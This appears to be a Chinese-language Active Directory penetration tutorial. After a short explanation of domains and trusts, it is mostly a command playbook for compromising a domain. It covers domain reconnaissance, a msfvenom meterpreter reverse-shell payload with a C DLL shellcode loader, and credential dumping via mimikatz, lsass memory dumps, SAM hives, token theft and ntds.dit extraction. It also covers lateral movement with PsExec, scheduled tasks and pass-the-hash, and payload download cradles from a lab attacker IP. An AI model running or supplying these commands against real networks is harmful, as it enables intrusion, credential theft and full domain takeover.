域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 域(Domain)是将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域。
在一台机器上安装上活动目录(Active Directory)以后,这个机器就被成为域控。 在一个域中,可能存在多个域控,这些域控不分主域控制器与备份域控制器,每个域控制器充当的是一样的角色,比如你有三个域控制器,你可以在任何一个域控制器上对用户的权限进行修改,你的修改将被复制到其他两个域控制器中,这样,如果一个域控制器发生了故障,只要其他的域控还能正常工作,整个域还是可以正常运行。
Active Directory存储了有关网络对象的信息,并且让管理员和用户能够轻松查找和使用这些信息,这些对象可以是用户、组群,计算机,控制站、邮件,配置文件,组织单元,树洗等等。
在域环境下使用的用户,其用户名和密码需要到域控制器上进行验证,验证通过后域用户可以在域内的任何一台机器上进行登录。但是域用户只是一个普通用户,只能登录到域内机器上进行查看,不能做任何的修改。
域管理员可以登录到域控制器上,对一切权限进行控制,比如对域内任何一台机器的权限进行修改,域管理员有权对域内所有机器下发任何任务或者策略,它对域具有绝对的控制权。
公司内很多的员工的权限都是相同的,这是因为域管理员对域内的用户进行了分组,即将不同的用户放入不同的分组里,然后对组进行了权限设置,这样就避免了管理员需要对每个用户单独进行权限分配的麻烦。
在实际的情况下,在一个大公司下面又会有一些子公司,这样就造成了母公司一个域,子公司单独又有一个域的情况,那么怎么将母公司的域与子公司的域联系起来呢?我们可以在它们之间建立起一种信任(trust)的关系,如果母公司的域账户想要登录子公司的域中,那么子公司的域就要对母公司的域建立信任关系。当母公司的域账户想要登录到子公司的域中时,子公司的域由于信任母公司的域,所以子公司的域会听从母公司的域的域控制器的返回的access key。由于母公司的域对子公司的域没有建立信任关系,所以子公司的域账户是不能登录到母公司的域中的。
/domain_trusts 查看受信任的域列表,我们通常会利用域的信任关系进行域内横向渗透来扩大战果。
nltest是2003之后的系统自带的工具,一般来说域控都搭建在主dns服务器上,因为他要进行域名解析。 我们可以nltest在工作组里进行查询,查询内网里是否存在域环境。
1.查找域控
ifconfig /all
2.查找信任域
nltest /domain_trusts /all_trusts /v /server:192.168.0.130
3.查找信任域所对应的IP
nltest /dsgetdc:XXXXXX /server:192.168.0.130
4.nltest命令:
参考:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731935(v=ws.11)
https://blog.csdn.net/weixin_34377065/article/details/85597188
csvde是windows server 2008的内置命令行工具,位于%windir%/system32目录下。
如果你安装了AD DS或Active Directory轻型目录服务(AD LDS)服务器角色,则此功能可用。
该工具适用于:
csvde -setspn payload -f C:\windows\temp\payload.csv
查看payload.csv
LDAP的存储规则(类似于一个数据库),用来存储域相关信息。
SPN 官方名称为“服务主体名称”,本质上存储的是域内各种服务资源的对应关系。 如,对应的服务类型叫什么,机器名是什么,服务端口号是多少等等。 我们借助SPN可以快速定位当前目标域中所有存活的各类主机。
setspn -T payload -Q */*
setspn -T payload -Q */* | findstr SQL
通过上面收集到的主机信息,我们就可以使用域管理员账户去登录各目标系统进行查看。
https://github.com/dirkjanm/adidnsdump
dnsdump -u 域名\域用户 -p 域密码 域控服务器名
dnsdump -u payload\Micr067 -p admin@123 WIN-DC.payload.com
https://github.com/3gstudent/Homework-of-Powershell/blob/master/dns-dump.ps1
Powershell -ep bypass -f dns-dump.ps1 -zone payload.com
net user /domain 获取域用户列表
net group "domain admins" /domain 获取域管理员列表
net group "domain controllers" /domain 查看域控制器(如果有多台)
net group "domain computers" /domain 查看域机器
net group /domain 查询域里面的组
Net view 查看同一域内机器列表
net view \\ip 查看某IP共享
Net view \\GHQ 查看GHQ计算机的共享资源列表
net view /domain 查看内网存在多少个域
Net view /domain:XYZ 查看XYZ域中的机器列表
nbtscan.exe 192.168.0.1/24
DC 是域控服务器
横向渗透—权限维持—抓取密码(获取域用户账号密码)—域信息收集—获取域管权限—拿下域控
超级弱口令工具 https://github.com/shack2/SNETCracker
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp_uuid LPORT=1521 LHOST=192.168.245.129 -e x86/shikata_ga_nai -i 11 -f c -o shellcode.c
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp_uuid
msf > set lhost 192.168.245.129
msf > set lport 1521
msf > set EnableStageEncoding true
msf > set StageEncoder x86/fnstenv_mov
msf > exploit
将c程序编译为dll文件,在目标机器上运行即可。
#include
extern "C" _declspec(dllexport) void __cdecl test(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
{
MessageBox(NULL,L"_Title_",L"Hello",MB_OK);
unsigned char buf[] =
"........替换生成的shellcode...........";
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return;
}
// 获取注册表信息
reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv
reg save HKLM\SAM c:\windows\temp\Sam.hiv
// mimikatz运行解密命令
lsadump::sam /sam:Sam.hiv /system:Sys.hiv
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
// 在mimikatz中运行,结果保存在日志里
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
项目地址:https://github.com/AlessandroZ/LaZagne
LaZagne.exe all 执行所有模块,获取全部密码信息
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
通过tasklist /v查看进程用户,如果有域用户启的进程,则可以窃取域管凭证
incognito.exe list_tokens -u
incognito.exe execute -c "payload\Administrator" cmd.exe
查看本地保存的凭证,可以看到有域管理员的凭证存在 成功窃取到域管理员的凭证,利用窃取的凭证我们可以查看域控上的保存的服务资源。
建立ipc连接之后就可以访问目标机器的文件,可以进行上传、下载等操作,也可以在目标机器上运行命令。上传下载使用copy命令。
net use \\192.168.245.130 /u:payload\administrator
copy shell.msi \\192.168.245.130\C$
copy \\192.168.52.2\C$\shell.msi
• sc /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 执行的命令或者bat路径 /sc ONSTART /s 域机器IP /RU system
• sc /run /tn task1 /s 域机器IP /U 域\域用户 /P 域用户密码
• sc /F /delete /tn task1 /s 域机器IP /U 域\域用户 /P 域用户密码
schtasks /create /tn task1 /U payload\administrator /P qwer1234! /tr "c:\windows\system32\cmd.exe /c net user > c:\\windows\\temp\\1.txt" /sc ONSTART /s 192.168.245.130 /RU system
schtasks /Run /tn task1 /s 192.168.245.130 /U payload\administrator /P qwer1234!
schtasks /F /delete /tn task1 /s 192.168.245.130 /U payload\administrator /P qwer1234!
type \\192.168.245.130\C$\windows\temp\1.txt
使用psexec之前先建立IPC连接
• net use \\192.168.245.130 /u:payload\administrator
• PsExec.exe \\192.168.245.130 -s cmd.exe -accepteula
• –accepteula 第一次运行会弹框,输入这个参数便不会弹框。
• -s 以 “nt authority\system” 权限运行远程进程
成功返回域控服务器system权限的命令行
工具下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec.exe -hashes :用户Hash 域名/用户名@目标IP
psexec.exe -hashes :6912928308e3cda903e6d75bd6091a20 payload/[email protected]
powershell (new-object Net.WebClient).DownloadFile('http://192.168.245.132/a.ps1','D:\phpstudy\WWW\a.ps1')
适用于windows 7以上版本。
certutil.exe -urlcache -split -f http://192.168.245.132/msg.dll msg.dll
certutil.exe -urlcache -split -f http://192.168.245.132/msg.dll delete
certutil适用于server 2003以上版本 详情参考: https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc773087(v=ws.10)?redirectedfrom=MSDN
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.245.132/b.ps1" "D:\\phpstudy\\WWW\\b.ps1"
Bitadmin适用于windows 7以上版本。 详情参考: https://docs.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool?redirectedfrom=MSDN
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.245.132/a.ps1",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs
第二种,保存脚本后再下载指定文件。
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs
cscript downfile.vbs http://192.168.245.132/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1
内网有些资源需要指定的代理才能访问,我们可以通过读取注册表信息查找代理IP和端口信息。
注册表查看IE代理
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyServer
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
copy C:\$SNAP_201911241434_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
ntdsutil snapshot "unmount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
ntdsutil snapshot "delete {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv
使用NTDSDumpEx获取所有域用户的Hash
NTDSDumpEx.exe -d ntds.dit -o hash.txt -s sys.hiv -h
NTDSDumpEx.exe下载地址:https://github.com/zcgonvh/NTDSDumpEx